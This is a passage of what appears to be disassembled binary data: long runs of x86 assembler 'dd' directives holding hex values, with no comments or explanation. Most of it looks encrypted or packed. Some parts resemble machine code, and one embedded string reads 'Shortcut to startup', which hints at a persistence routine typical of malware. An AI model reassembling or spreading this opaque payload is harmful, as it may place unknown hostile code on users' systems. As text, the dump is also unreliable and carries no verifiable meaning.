dd 0C7BDE93Eh, 3F2B738Eh, 0CEA42F8h
dd 494CFC29h, 0CFB07314h, 0F5347C47h, 42EEB7FEh, 0FB21FDFAh
dd 4AB51A41h, 0BC3B79C8h, 9C347C85h, 0A6667C2Dh, 27347C44h
dd 0C9F72667h, 0CD1028CEh, 0E01038C6h, 72347C5Ch, 25F72E05h
dd 93091A45h, 0C4A31444h, 214CFC99h, 0B1732Fh, 0A3347C47h
dd 0E7DC2947h, 52347C47h, 0B069BF1Ah, 1D30582Bh, 53305803h
dd 62347C47h, 0E5E6BF12h, 0C903A760h, 5FFE794h, 0AB51AB2h
dd 3611834Ch, 9C341DC2h, 18341647h, 27347FAFh, 506A5C47h
dd 0ED40F519h, 0C070FD43h, 72346743h, 0FA623A47h, 3C464ED2h
dd 3869ECC5h, 2732FE48h, 1EBD7C47h, 0CF2B520Eh, 0E43442AEh
dd 21341647h, 39347FAFh, 5F6F5C47h, 6A68F51Ch, 370FD43h
dd 93346543h, 0A673F47h, 4FBFA095h, 0FFBFF2C2h, 3F2B4D26h
dd 9D61E96Ch, 8E1F7A58h, 1C4C721h, 93346FAEh, 0E0A9F747h
dd 5C32634Fh, 72347C46h, 0B8A1F727h, 0FD32635Fh, 0A529C6D7h
dd 9E64654Dh, 0DD8760C0h, 0C93F95D7h, 80B27C47h, 0B498A619h
dd 640D4BEDh, 0D789F122h, 0C3325807h, 371C1CAh, 0C617C441h
dd 4C370B21h, 0E22B6C92h, 0C2F5B36Ch, 2463834h, 94109C5Eh
dd 7C474E37h, 23847814h, 7863EFBDh, 78638DB5h, 5E98320h
dd 8958A4F3h, 1F1161B5h, 0D9BF0F06h, 840FC00Bh, 25h, 146CBA66h
dd 4DB0B58Dh, 0D78A061Fh, 3B8h, 0C9BD8B00h, 0FF061F06h
dd 0D8D2BE6h, 29061F1Bh, 1F1D1195h, 800F4006h, 0
dd 5E9h, 4D64CB00h, 0C08B99BCh, 6860Fh, 8D890000h, 61F2349h
dd 6C1BD83h, 7500061Fh, 51BD8309h, 61F1Fh, 53501974h, 3B8C08Bh
dd 89000004h, 1F139585h, 0B9D8D06h, 0FF0621B0h, 83585BD3h
dd 1F1F51BDh, 17740006h, 3B85350h, 89000004h, 1F139585h
dd 0AC9D8D06h, 0FF0621ACh, 0B585BD3h, 1F167D8Dh, 0ED958B06h
dd 8B061F08h, 0ADBD89C0h, 61061F1Ah, 50325820h, 13231C8h
dd 0C26B1210h, 257EBB51h, 2576B300h, 1322F06h, 0C2637301h
dd 0F825CC39h, 0B971CA07h, 8CBBF354h, 72D166Dh, 15278783h
dd 8D54341Bh, 503258DAh, 13231E9h, 0C26B1280h, 257EBB19h
dd 2576B324h, 1322914h, 0C2637308h, 0C80FE2F5h, 7806CB90h
dd 1323FE9h, 0E2BEB380h, 1F6E7B6Eh, 1372AA0Bh, 0BCB916ABh
dd 72D1C7Dh, 0E369A5Bh, 1301386h, 0CCAFBB01h, 82342D93h
dd 1E1853FDh, 853D3226h, 132321Fh, 5E9F845Eh, 13037EDh
dd 74BFBB02h, 51342D1Ch, 1322168h, 4B306A40h, 8AEF5E20h
dd 0AE3C507Ah, 1FF22087h, 87DEBBE3h, 13239EAh, 0AFABA101h
dd 98580296h, 0DBF96C77h, 5BEBB946h, 2536BB4Fh, 0E9673262h
dd 1323207h, 5CF16F22h, 5165E88h, 5167601h, 1323256h, 0D7F16765h
dd 0BCB94A10h, 72D2CE1h, 257E330Bh, 7CA7BBFCh, 59342D30h
dd 0E96532EAh, 1323243h, 5EF16D00h, 5164E99h, 5167689h
dd 1323210h, 0B4F16545h, 13222E9h, 1CF06480h, 92F5AE07h
dd 3FDEB378h, 182C2836h, 5E3E8419h, 0CDBA78Fh, 0C1B1341Dh
dd 5132582Dh, 1323168h, 0C26A1240h, 2576BB78h, 2576B314h
dd 132270Ch, 0C2627204h, 9B9D874h, 0E964326Bh, 1323283h
dd 5FF16C60h, 51646A9h, 5167691h, 132321Ch, 17F16442h
dd 44B8F2Bh, 7DA341Eh, 0ED323280h, 128B201Eh, 0EFB35494h
dd 676C56E8h, 0BBCE7A83h, 32FA45Eh, 370BB364h, 84B63DFEh
dd 82323280h, 0BCB93B81h, 72D26E1h, 6F3B719h, 38B23417h
dd 0E2B73DEDh, 8A323202h, 44AF3BDEh, 8A342D93h, 0EC843301h
dd 158FA23h, 131DA46h, 5F123208h, 75BB6CC7h, 45B33626h
dd 12F3625h, 57743280h, 4A710B83h, 7BDA35D8h, 569F563Bh
dd 826DEA83h, 15837C5h, 131DA53h, 58123201h, 4DBB6B43h
dd 45B33664h, 1243604h, 50733210h, 0D2619CBh, 4AA20B85h
dd 843DB941h, 132327Fh, 67E1B9E6h, 0D1F0E8C1h, 4C82BFADh
dd 0CDA340Fh, 61323208h, 18862AA5h, 2AC6535Dh, 9A3CE40Fh
dd 0B96DC50Ah, 1323243h, 0E962324Ah, 1323213h, 59F16A28h
dd 516768Dh, 5167683h, 1323219h, 38F162C0h, 0D3BD5DD6h
dd 3038FA9h, 0E0CD340Fh, 0E9623262h, 1323207h, 59F16A22h
dd 5167688h, 5167601h, 132325Ah, 99F16260h, 0E3161039h
dd 823D3BCFh, 1323202h, 2143A731h, 6B53341Eh, 2DA6280h
dd 21323240h, 886AF178h, 80361654h, 1C36164Ch, 41323204h
dd 0B9D3F152h, 4635DFF3h, 8966C66h, 0E27B741h, 0BCBF343Fh
dd 7167480h, 4840BF85h, 758A3420h, 3233A081h, 1E3BDB84h
dd 0C0FD1986h, 50325820h, 13231C8h, 0C26B1210h, 257EBB51h
dd 2576B300h, 1322F06h, 0E9837301h, 8BA4F305h, 50006AC0h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 96C448B6h, 0E91931CCh, 13h, 53547760h, 99E45DDEh, 0AA83CA19h
dd 88271DE2h, 8B1354B7h, 8DC38BD8h, 244AA68Dh, 0CF816606h
dd 8D89E22Ch, 61F0B5Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 17C35242h, 30F0C91Bh, 0E380F824h, 0C585C7DBh
dd 74061F20h, 6A00006Dh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 0DCCEC355h, 0DD1C1EA7h
dd 0BA6046FBh, 112F4C8h, 10E9h, 0A2475300h, 20F540B1h
dd 89A76D1Dh, 0B1621FACh, 85C76100h, 61F137Dh, 0
dd 0BD8BE78Ah, 61F3079h, 105DB5FFh, 6A061Fh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0E1EC52C3h
dd 0E517CA55h, 66EDB797h, 0E30CC781h, 2D5995FFh, 8589061Fh
dd 61F2AE5h, 6A5FF956h, 4595FF00h, 8B061F1Dh, 0FF1BEBC0h
dd 3B8A6E6Ah, 664787CFh, 3EDA0068h, 282C2584h, 163AF23Fh
dd 0D0ABD8E4h, 6CEBF897h, 726F6853h, 74756374h, 206F7420h
dd 72617473h, 707574h, 14h dup(0)
dd 1C99C9F6h, 1, 0FEBE9h, 4CC36800h, 8AE90624h, 68FFFBFEh
dd 6244DD8h, 0FBFE80E9h, 4F7268FFh, 76E90624h, 68FFFBFEh
dd 6244FB1h, 0FBFE6CE9h, 505568FFh, 62E90624h, 68FFFBFEh
dd 6245102h, 0FBFE58E9h, 559368FFh, 4EE90624h, 68FFFBFEh
dd 6245852h, 0FBFE44E9h, 596968FFh, 3AE90624h, 11FFFBFEh
dd 0B5167728h, 56B7188Fh, 0FF60C154h, 0A607683Fh, 81AF1085h
dd 8B002BECh, 2EE1C92Ah, 0D2476CCDh, 74351071h, 1F52B713h
dd 0F7B263CFh, 0A4145900h, 30850881h, 0D62B9415h, 8E184BA3h
dd 4FDD8CF1h, 0FB8B9AEEh, 1ED25F92h, 1E83FBAFh, 57DA891Ch
dd 0AD1ED220h, 0AAE7CBF7h, 5D2D49F1h, 29AC5B46h, 0B73AEFD4h
dd 2CB3D274h, 0D81938DAh, 60EEA187h, 33873FCh, 31D2A1h
dd 18690000h, 98ED7B12h, 0B11A74B1h, 0AF37237Eh, 8205B4FBh
dd 3CCDD829h, 378B67AEh, 8325F7ADh, 46472864h, 0D9FEA102h
dd 95000000h, 27AA7F44h, 0A4A5FA88h, 2C850881h, 4D74110Bh
dd 0C8569112h, 40C35863h, 0CE51DAEBh, 0E3785475h, 296B6FB8h
dd 9E6F369Bh, 50081435h, 699E7338h, 3568C286h, 0F18E99B9h
dd 32C06F1Eh, 9D998ED1h, 2500F18Eh, 83A20364h, 0E63F870Ah
dd 0D75AD3F2h, 5B170338h, 0D444D05Bh, 489BC25h, 0C9FBAF28h
dd 0C065B91Ah, 0F1743510h, 73AA352h, 1CCD647h, 1F70D988h
dd 39EED11Ch, 76817B6h, 951085A6h, 0E2FDE187h, 0B951A023h
dd 0E100000Dh, 85E647D8h, 2687E8BFh, 0CF309104h, 76D738EFh
dd 517FE0B5h, 5B30FB3Ch, 0FE9199FAh, 0A2773C9Dh, 44C5E041h
dd 0EF2287E3h, 0F7B263FFh, 0A4E429D0h, 44A5069Bh, 0E247A861h
dd 0E7FCD3C1h, 0C11A4FC4h, 275AC3EFh, 0F18E8EC7h, 76CB5908h
dd 0B11A74B1h, 0AF37237Eh, 8205B4FBh, 0AD37A74Bh, 486709F7h
dd 246630Ch, 0EFE2A1h, 28790000h, 0AB008E03h, 850881A4h
dd 0DFE40F30h, 7928C74Ah, 566FEF10h, 9AE404C3h, 0BF4DFC91h
dd 0BA22053Ch, 5C69F18Eh, 0B80D62CBh, 8EB16985h, 78BF6EF1h
dd 0F18EB176h, 59CCF459h, 0FA8837D6h, 0E66D3899h, 8D6194DFh
dd 42F18EB1h, 0B235E493h, 62CBBB6Ah, 0AFA05E2Fh, 9BA0F1FBh
dd 9E4D7806h, 4ADFE435h, 0B745DAE5h, 0DD230256h, 0DE4306CFh
dd 82EB9A75h, 0B990E31h, 0B0F46FA2h, 60C501CCh, 2A5DC65Bh
dd 0F1CCB8C4h, 4CB56413h, 0F25B30FBh, 0B8846A9Dh, 1119F1CCh
dd 16A4537Eh, 0B66B54B5h, 0FDC0033Bh, 150D3E2h, 0CA4h
dd 0CB2CE5CCh, 70D1446Ah, 197A2D0Fh, 0C021F4B8h, 66C75C5Fh
dd 0D9E25538h, 0BE82E344h, 1E2586E7h, 0FEC72889h, 0B70CC2Dh
dd 0B26516D8h, 0CD12B9F7h, 4B809BA4h, 0EC207F78h, 77DC3DECh
dd 3910426h, 0A506879Eh, 5281A454h, 0D831B469h, 8E1849A5h
dd 30DF8EF1h, 0CDCC91FBh, 11C031F8h, 9B6C398Eh, 4F3FE63Ah
dd 784EB3E6h, 7827FBAFh, 7834BEF5h, 0DA7CF7ADh, 86F07FBBh
dd 1155A102h, 0EC000000h, 6C8A6497h, 9E4DF7ADh, 0E5AABB10h
dd 55000008h, 0B11A74B1h, 0AF313F7Eh, 5EE190FBh, 138AB405h
dd 84052085h, 456DBE23h, 36FA4FD2h, 634BB05Fh, 0ECB91EACh
dd 0EE3F981Bh, 0D4F156D7h, 4E7EC553h, 199E6954h, 3A0B4867h
dd 96AF1071h, 965B9215h, 0B952E952h, 69220354h, 7B947E6h
dd 119AABE8h, 0B5764FB0h, 0A431FB4Ch, 0E9527D71h, 0F4A35252h
dd 358AE366h, 0E952EC02h, 1CE9E152h, 0DC6CDC21h, 2D7402B1h
dd 52EA11C8h, 95D2F18Fh, 3596F7B0h, 0D2E9710h, 92ED71B5h
dd 0C95C60FAh, 6AF8A746h, 8869FE7h, 0FF294A9Fh, 23FC33ACh
dd 22E32AB8h, 0E39A53DDh, 0B67ACB34h, 2FBD5CDFh, 0EBAF86CEh
dd 0FD90963Ah, 2A6DB7Ah, 2FE79652h, 5689F2A1h, 946A8E77h
dd 0D31AA958h, 0B241EE30h, 0E1B47ACBh, 5C2AFB53h, 0B7B9C0F3h
dd 3F603C63h, 26CCC506h, 0C7F2807Eh, 0D84D9518h, 511245AEh
dd 6A425798h, 240152BBh, 86A9FA63h, 0C1228311h, 0DEA823E4h
dd 4AA24A1Fh, 0B0A78C7h, 0F320000h, 0EED43596h, 4B75D637h
dd 2A1273D4h, 8EB11273h, 0FB8AB819h, 35960B34h, 0D839ECD4h
dd 7ADBB077h, 1A7B0C19h, 0C82659BEh, 7F7B267h, 81A41B60h
dd 60A58D08h, 0B639E2C3h, 0ACB67h, 55CEF300h, 0FAAD93F4h
dd 9F763899h, 3ED1DD3Eh, 0DEB37CDDh, 0F93E4F7Dh, 9F006136h
dd 42A3049Bh, 0E647A87Dh, 91ED4EDFh, 66F5F92Ch, 33DAF7B2h
dd 5281A4EEh, 0E65E326Dh, 8D982BD2h, 21065BDEh, 8B0EBD6Ch
dd 3FA07536h, 0C95C3EF7h, 0EC6F2407h, 0E0359E4Dh, 73F6A98Fh
dd 0CEFF46D4h, 0FFFBB022h, 0B37AC150h, 0F73DE1BBh, 0A2F7602Eh
dd 38046D51h, 9443E265h, 9DE47211h, 0C351B4DCh, 2E870AB9h
dd 0BC3FC8DDh, 0EE378F1Dh, 5F0437A0h, 78BD6A4Bh, 360F60C9h
dd 92B31475h, 0A0C09E19h, 0D154255Ch, 0A2782h, 0B96A4F00h
dd 5E31F758h, 0FB929CFDh, 0A275399Ah, 4ADFE041h, 65AABBE9h
dd 364C55Ah, 0A607683Fh, 4AAB0C81h, 0F551B27Bh, 68915D90h
dd 9F46F7B2h, 0B87FA05Ah, 7195EE3Fh, 192C911Fh, 0F3B80D90h
dd 4BCE4368h, 3F94FDACh, 8E1CE20Ch, 0AF90F5F1h, 5CBD4BFAh
dd 8E1C7519h, 8EF82DF1h, 0C638F225h, 0DA0FFBAAh, 0C1EA28E6h
dd 3B17174Ch, 0A8F96211h, 46AB0C9Dh, 0C957D0F5h, 2D124164h
dd 0A756F578h, 0B1ECCF24h, 0D0D850A2h, 0E61BBA3Dh, 0E594611Ah
dd 90072B7Ch, 0CB396E0Dh, 0FFCBFFFFh, 1F74F785h, 0A4088318h
dd 0C8E4E7E6h, 97AF645h, 9FA20000h, 7E44A506h, 0DBE546A7h
dd 0BA82E344h, 1E2182E3h, 6BFA2889h, 0A5069BA4h, 48A97C44h
dd 0EA4BC0E7h, 8AEBBC89h, 5896C92Eh, 77F7B269h, 81A48BD0h
dd 15308508h, 0C2701194h, 0CE5F66A3h, 27620D6Dh, 1E39AE3h
dd 7A000006h, 0A1D40129h, 0F18E0C4Dh, 9624D382h, 6074B141h
dd 8E18C12Dh, 326716F1h, 0C6BA1676h, 68D180CCh, 0AB39F535h
dd 416DD2FBh, 0F87B1218h, 8827AA59h, 61F70D9h, 58D02485h
dd 2D7AB134h, 87749721h, 24140D2Eh, 6F2D054Eh, 0CF102FE1h
dd 50A7477Ah, 792870D6h, 72E887EBh, 12331A2Bh, 1D1C0DD0h
dd 4E8D1B86h, 53h, 1377B1F9h, 187777AAh, 0A958F18Eh, 0B27CCD26h
dd 2BB958DBh, 77F9CAE4h, 46D53D1h, 37BA693Ch, 0C144D9E2h
dd 0DA618032h, 86C7E688h, 7AF0FE31h, 30DF11F5h, 9D313EA2h
dd 1414BB4Ah, 0AB000000h, 653A0556h, 0F572D01Eh, 0C250FF11h
dd 2C1AA6Dh, 0B1550000h, 0C12D6074h, 16F18E18h, 80BB8AE1h
dd 2EDD4A13h, 0E95C92C5h, 0CC7BF18Eh, 4181B41Dh, 96FBAB94h
dd 0CF50661h, 1BCAFEECh, 9D906198h, 0A456F7B2h, 0B6D05585h
dd 48A81A4Dh, 40EF01CFh, 0F0A586D7h, 9FA00162h, 0E6D11D50h
dd 5706F18Eh, 0EFD025A8h, 0E6A14D80h, 34FCF18Eh, 0EFD13661h
dd 57DA8938h, 8CB33C02h, 90E56817h, 4E73F6ABh, 0A90A2426h
dd 96388BC5h, 9F51F077h, 0A3784380h, 46D9E142h, 0D34A6EC3h
dd 0CE2156Ah, 0CBF18ED8h, 7C0B8E1Ch, 24F9C213h, 0C27402A1h
dd 734162A3h, 0FEEAB7D4h, 8FB318A6h, 275AAF18h, 0F18E9DC7h
dd 6ACB5908h, 8E9DB527h, 42D7DCF1h, 72B7CE1h, 8E012B90h
dd 79DE6C0Bh, 1358DBACh, 0C48D77B1h, 5C7F1EEDh, 519DD039h
dd 86F18E3Ch, 4E9F28D7h, 0BB24B36Ah, 4ACD406Ah, 0F0B81DABh
dd 0A05C941Dh, 0E62746F4h, 72F5AA95h, 8EE145D3h, 8D9AE34Ah
dd 0B1E4733Ch, 0F18E303Dh, 0A634E392h, 43767h, 98ADFE00h
dd 11C05759h, 9BA42E83h, 0AE478306h, 23607F21h, 0BD228318h
dd 65CE436Ch, 8E18BC32h, 0DE6C1BF1h, 58E1B679h, 0E36C2307h
dd 71F4A992h, 0FB7E131Ch, 70F716B8h, 153D5EC3h, 0E12FCD7Eh
dd 2A49FB89h, 0BE4DC2EDh, 0F0354C59h, 90624279h, 0CB028534h
dd 0F18E3826h, 0B2EF0EC0h, 54B91A93h, 6509C933h, 8816F282h
dd 1E871C23h, 8A9C48FDh, 2CBA34F8h, 577F72A9h, 0FF68F18Eh
dd 9D7869DEh, 0E2C3B8BFh, 5807A629h, 0BCF918CAh, 5CC122F7h
dd 0ED70270Bh, 179C04Eh, 0A8F18E4Dh, 8E5D7975h, 0C2F55EF1h
dd 0F18E5D2Ch, 9E4DFCABh, 0E380363Ah, 0FF06119Ah, 57A8FFFFh
dd 545ABF54h, 0A4DE33C1h, 42A70881h, 81127921h, 22B3E8BFh
dd 238816E2h, 0CF068902h, 0F18EB122h, 58DBAC79h, 8AAE3B03h
dd 52E16413h, 0E0FA81A0h, 7DCE0F2Eh, 0EC51DFA8h, 0FF969AD9h
dd 4174DD7Ch, 0F18EB1ADh, 63C47322h, 0E1643902h, 5C766788h
dd 0EE9F82ACh, 6FA453CAh, 6D00FB2Ah, 569D2B83h, 17BD42Fh
dd 0EC2847E9h, 6B56E083h, 0A0767798h, 498AE9ACh, 497E8A22h
dd 0EA4F6311h, 2AC94CC1h, 755D9Ch, 0B1080000h, 5CB11A74h
dd 8E18C529h, 0CD5B0AF1h, 4FEE0F64h, 7A34E34Eh, 17ABF280h
dd 60FBAACBh, 0B36235FBh, 5B2CF94Ah, 28AB39D8h, 0B25AFCF1h
dd 0E908AAF7h, 773C2ADh, 0D10459A1h, 0F7B2591Dh, 679A03B2h
dd 0F7B25987h, 0CC0B9948h, 21h, 217FA077h, 0B0AD65A9h
dd 0EFA686EBh, 0F83FCD6Ch, 0F18E3926h, 0FD4D2685h, 0AAD1FFFFh
dd 7, 286AA55h, 0A4550000h, 4E9F0881h, 0A629B76Eh, 52B37451h
dd 0FE6727FEh, 0BB5258A9h, 0C40B9938h, 0FBAF1E6Dh, 0CEC58BACh
dd 0EF0E3119h, 4873661h, 0AD5025CDh, 0CAE98BF7h, 272E18Eh
dd 3164A1h, 0A00F0000h, 0EC65A67Fh, 0F17FCB39h, 99028C99h
dd 0AFD03B66h, 46D1CFBh, 0B11689B3h, 2851394h, 0AD9E27CBh
dd 0C8E789F7h, 2ACE38Ch, 0BA62A1h, 0A40D0000h, 0D31B4E81h
dd 4F18E18h, 0CE23A655h, 60B538EDh, 0EC41C445h, 96E750D9h
dd 0A97E4592h, 4AD88726h, 1C81A6E9h, 0B304F18Eh, 258A188Fh
dd 0D2268700h, 97CA3353h, 0FBADA94Ah, 3253BC6Bh, 5AB7E47Bh
dd 0C5295C23h, 0AF7AF7Ah, 0B51EAC5Bh, 65C65B64h, 0EB663B04h
dd 0E4E202A9h, 0E9E332B5h, 11000004h, 0B5167728h, 56B7188Fh
dd 0FF60C154h, 0A607683Fh, 81AF1085h, 8B002BECh, 2EE1C92Ah
dd 0D2476CCDh, 74351071h, 1F52B713h, 0F7B26DCFh, 0A4145900h
dd 44A5069Bh, 33BBEE61h, 0A4F18E18h, 0BCDD46F5h, 5B88EE48h
dd 79AC15B0h, 0F18ED975h, 0BC1DAB5Ah, 70250657h, 6BC04EEDh
dd 9F0881A4h, 34B76E4Eh, 2F840795h, 44DBDF16h, 127322C1h
dd 0BE2767BEh, 0AF0B7A8Bh, 0E3CC1DFBh, 0C675A02Eh, 0F4B7085Dh
dd 0B6FD9C1Fh, 0F7AD2B38h, 9A133297h, 0A3DA5DEBh, 0F7AD2B51h
dd 0C8FB6850h, 0F7AD2B26h, 0C84BFAA9h, 51D44B73h, 5CE302B0h
dd 0AEDEFDABh, 5DAE1777h, 9B3ABD52h, 9471A40Dh, 7901CE1Eh
dd 101569CAh, 68EC0D76h, 0DDFEC8A2h, 0E0633A02h, 9B049241h
dd 0AB66C268h, 6DD685FBh, 127B121Ch, 0A72AFDC1h, 0D6197A08h
dd 0F7B30616h, 90052677h, 1EF3B80Dh, 0BF4DFC9Bh, 57C0555Ah
dd 0FFD3CB36h, 7806044Ah, 6CBC17h, 0C2670000h, 0F18E1830h
dd 74DDB17Ah, 831823h, 0D72D361h, 8D1BF2BCh, 0D5D90628h
dd 7120BF42h, 7E4495EEh, 5CFCD621h, 0D1805106h, 0DA21AF4Eh
dd 0F18EF414h, 0D0D62790h, 0DEFDAF3Dh, 9F089FA1h, 0BB30774Eh
dd 0B072EF1Bh, 0A0018F3Eh, 3AA3783Fh, 0A4146E19h, 0F58384B5h
dd 87B63B72h, 7D2FF18Eh, 0CB1A215Eh, 8E875698h, 1BCA79F1h
dd 9FA469BAh, 4D110584h, 23D25796h, 502599BAh, 0DB0CDD5Dh
dd 50DEAF76h, 0DEB378CDh, 0ED0CBA5Bh, 0B5168BB0h, 6338FF50h
dd 4E28ED5h, 46DF18Fh, 413EBDE3h, 8625A87Fh, 0EC748C51h
dd 3876FA5Eh, 50D19AE4h, 7CFFFFFFh, 0B76C4FA0h, 46A8DB34h
dd 89F18E18h, 389D2BDAh, 0E2339C6Dh, 34B745D8h, 0AD8FC6DFh
dd 96EA4BFAh, 6396FF8Fh, 0FBAF1ECEh, 891C2287h, 35B86706h
dd 0EBA08BDCh, 0F43BC968h, 0F7AD1DFEh, 1A4D9C9Fh, 0F7AD1ED4h
dd 22A55403h, 0AD30E7CDh, 68A9C86Ah, 0AD1EB935h, 0C06F1EF7h
dd 71ADCC6Eh, 0A10240FEh, 2847h, 0A38DDE00h, 0B1095EECh
dd 0C95C6474h, 237EB11Ah, 0B4FBAF37h, 0A74B8205h, 9F7AD37h
dd 630C4867h, 0E2A10246h, 0C4h, 881A48Dh, 0D60B2C85h, 19B40C16h
dd 0BC7FE472h, 0BA0B64E7h, 759A1DF0h, 0A7E00F52h, 0B442F1A6h
dd 32B5764Fh, 0DE3FC8DDh, 8EE98C9Bh, 793213F1h, 1DEEB718h
dd 0B3D3529Ah, 0D546174Ah, 0B867FBAFh, 0AA220357h, 0ADF27777h
dd 0FAA958F7h, 828D5E91h, 9F4E01CDh, 598CE136h, 0F1CC8295h
dd 98FD8B3Ah, 0B1644C97h, 0EB3CA102h, 5DC250C7h, 7642BD52h
dd 16E2FD0Ah, 22A4493h, 6F520000h, 0CEF455B6h, 0AB95F657h
dd 0A3293F4h, 0EED13293h, 0DBAAD839h, 55B66B54h, 0F859CCF4h
dd 9AFB9097h, 3A9B6C39h, 0A84679DEh, 27F7B270h, 9BA43B80h
dd 15489D06h, 0F18E18D9h, 1B3817F4h, 6D98739Ch, 6ECF30BEh
dd 2475D657h, 0BA6D4FA0h, 0B20A9837h, 59AA1373h, 0CB34C255h
dd 0AF370998h, 96FFAEFBh, 54D5F041h, 0AD37E10Dh, 0B947F6F7h
dd 37F3FF36h, 1BBDF7ADh, 45AFC0FCh, 0EE96A102h, 41000000h
dd 850881A4h, 4AA4D72Ch, 8DF18E18h, 0AC4275DEh, 2BF18E18h
dd 0A689EE7Ch, 0F4156EF1h, 0CAE90249h, 4A7DE679h, 0F18E18A4h
dd 0AFF68433h, 0F18E1C78h, 2485061Fh, 5273E2C3h, 8B756D9h
dd 0B96C4E9Fh, 0C560A82Bh, 302D60C9h, 85FBAF10h, 0CF4C6DD6h
dd 0CEAD23C4h, 2478D967h, 0E91C8501h, 1CD5B5Dh, 0B90A7322h
dd 0F9981BECh, 65F3AA94h, 5456A7FCh, 0EDCE33C1h, 0B87ECF38h
dd 35C362E5h, 0E44E6FD4h, 0E3E748CEh, 0EDCE33C1h, 0F2CFBD38h
dd 189BE2FDh, 113C9h, 9D763B00h, 42D5DB3Ch, 0E7BE80E1h
dd 86192586h, 26FBC425h, 41F697C5h, 0E748A97Eh, 8AEB4CC3h
dd 2E8FF0A5h, 0D9359617h, 71AD4174h, 7B22F7B2h, 684FA036h
dd 0FFC025B3h, 5D68C92Ah, 0FAC51216h, 2F117625h, 0B60C978h
dd 8E1816D8h, 0A878AFF1h, 4E1264AEh, 85E67423h, 4D7FA034h
dd 0B30481F1h, 0C4E146D4h, 5A6BC043h, 0F87B101Bh, 53CAF459h
dd 218231D0h, 66B59BBCh, 275889E9h, 0AAE44199h, 0ECB80E41h
dd 6817FBAAh, 0F4B590E5h, 0EB03368Bh, 0ECF7B27Ah, 0ED4EAF3Dh
dd 95CC4FD8h, 0D2E5ECAEh, 0A2D52A93h, 0E28084Ch, 9C4EDC8Bh
dd 0A465407Dh, 13551A3Bh, 738C6295h, 9C4B0E27h, 0B9F8FF67h
dd 9DD11D50h, 57060E27h, 0AE0368C9h, 3E84E48Dh, 438A3BC0h
dd 0E27E2ABh, 8AEF7D2Ch, 9B723CBBh, 281469ECh, 3BA4F275h
dd 0E23BB3E6h, 679C0E27h, 0E0E2654Ch, 7503B214h, 5E67A4C3h
dd 3A0B6CCDh, 0D9FEE71h, 36000000h, 0B745DAE5h, 0A4F55E62h
dd 277C0A9Fh, 81049DA4h, 0D90192Ch, 9B1EF3B8h, 28AB6246h
dd 0B033E8D3h, 38BB505Bh, 0C144DBE3h, 48CB426Ch, 0D75ACDF3h
dd 0E089508Eh, 405h, 4E88300h, 2474FF50h, 48F5804h, 0BC685C24h
dd 89000041h, 2268243Ch, 89000026h, 0EC83240Ch, 24148904h
dd 1F550968h, 0EAC15A73h, 81D2F704h, 0A9BF1CEAh, 5AD789F2h
dd 4EC81h, 24890000h, 24048124h, 4, 89535659h, 5BDE89FBh
dd 5E087189h, 592434FFh, 4C481h, 3C8B0000h, 0E0895024h
dd 405h, 4C08300h, 5C240487h, 0FBEEB0E9h, 2F3949FFh, 0D585E093h
dd 245AA1B8h, 0FFC50306h
dd 0EB644CE0h, 5F21BC61h, 79836E75h, 1D874433h, 3A37B203h
dd 27F6F916h, 188D8D1Bh, 6A06245Ch, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 836FC357h
dd 29205BF9h, 1F021DBDh, 5D8D8906h, 66061F0Bh, 85C7D68Bh
dd 61F20C5h, 5DDCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 19h, 0C5C35545h, 807B6D69h, 7D85C746h, 61F13h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 7FA8C356h, 9D1D106Bh, 0FDB53119h
dd 0FF061F1Fh, 1F0865B5h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 64023A46h
dd 27D09B5Ah, 0B2DE8B66h, 5995FF4Dh, 29061F2Dh, 1F2B8595h
dd 0FF006A06h, 1F1D4595h, 0EBC08B06h, 3E006C1Ch, 6978EFD2h
dd 0E81FB27Ah, 0C55923E2h, 39FD1F6Dh, 0E9F7543Bh, 3883A079h
dd 58D8D42h, 6A06245Dh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 17042444h, 46000000h, 14E2C356h, 9D89B6E5h
dd 61F0F4Dh, 0B5D8D89h, 14E9061Fh, 0C000000h, 0D930FB37h
dd 3F71E2F6h, 0A3EBEA85h, 0D94B22E6h, 0C719074Fh, 1F20C585h
dd 65A406h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 0B60FAA4Eh, 0ECAA2D61h, 7D85C799h
dd 61F13h, 89000000h, 1F16C1BDh, 15B5FF06h, 29061F1Dh
dd 1F0E49B5h, 5995FF06h, 6A061F2Dh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0F6C2C355h
dd 0CCDD5F65h, 0EC2B2286h, 308DB503h, 6A061Fh, 1D4595FFh
dd 0C08B061Fh, 29143BEBh, 0BAC7CDC6h, 8D62A347h, 4420C612h
dd 43B89FCh, 0A3A83E16h, 8F22C2CDh, 0C3675FEFh, 0C5E68C8Eh
dd 995F41E4h, 13D5A992h, 4E7E9C50h, 87E2644Ah, 910CC1A0h
dd 658103B6h, 0AE8A0h, 32B30000h, 0F4E938B0h, 933B7E53h
dd 0EE9h, 79473000h, 0F7E8FA66h, 0E2C83B9Dh, 5899EA43h
dd 691EC081h, 0D22B0000h, 8A0Fh, 34FF0000h, 65B58B02h
dd 5B061F23h, 0CD18D89h, 0F381061Fh, 230559ABh, 14C1BD0Bh
dd 0C381061Fh, 71A5F7ADh, 0B5858960h, 0B9061F1Fh, 7D827D02h
dd 8EC38161h, 0BF0173AEh, 64472573h, 98A0F53h, 0F000000h
dd 387h, 0FE8B6600h, 8B10048Fh, 1F16A1BDh, 0EDD18106h
dd 831B2B60h, 0BE903EAh, 34000000h, 208ECFCCh, 0B3AFE2BCh
dd 0BF4A09ACh, 62BC7032h, 97A8FA81h, 850FFFFFh, 0FFFFFF82h
dd 0F5958960h, 0E8061F0Dh, 10h, 91B6FFC6h, 437AD038h, 392AA182h
dd 0E9228C8Ah, 615EF98Bh, 13759D8Dh, 39B8061Fh, 89000000h
